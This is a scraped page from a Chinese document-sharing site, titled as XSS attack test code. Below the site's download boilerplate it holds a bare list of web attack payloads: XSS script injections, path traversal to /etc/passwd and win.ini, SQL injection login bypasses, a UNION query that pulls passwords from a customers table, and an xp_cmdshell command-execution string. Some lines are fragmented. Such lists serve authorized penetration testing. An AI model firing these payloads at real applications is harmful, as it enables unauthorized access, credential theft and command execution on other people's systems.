Xss攻击测试代码

相关主题

xss攻击方式详解

1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。

>
=’>

alert(’XSS’)

.jsp
"
../../../../../../../etc/passwd
../../../../../windows/win.ini

/index.html
?.jsp
?.jsp
<script>alert(’Vulnerable’);</script>

?sql_debug=1
a\.aspx
a.jsp/
a/
a?
">
’;exec master..xp_cmdshell ’dir c: > c:/inetpub/wwwroot/?.txt’--&&
">
&
&SESSION_ID={SESSION_ID}&SESSION_ID=
1 union all select pass,0,0,0,0 from customers where fname=
../../../../../../../../etc/passwd
../../../../../../../../windows/system.ini
/../../../../../../../../windows/system.ini
’’;!--"=&{()}

"";’ > out

PT SRC="/a.js">
link
admin’--
’ or 0=0 --
" or 0=0 --
or 0=0 --
’ or 0=0 #

" or 0=0 #
or 0=0 #
’ or ’x’=’x
" or "x"="x
’) or (’x’=’x
’ or 1=1--
" or 1=1--
or 1=1--
’ or a=a--
" or "a"="a
’) or (’a’=’a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi’ or 1=1 --
hi’ or ’a’=’a
hi’) or (’a’=’a
hi") or ("a"="a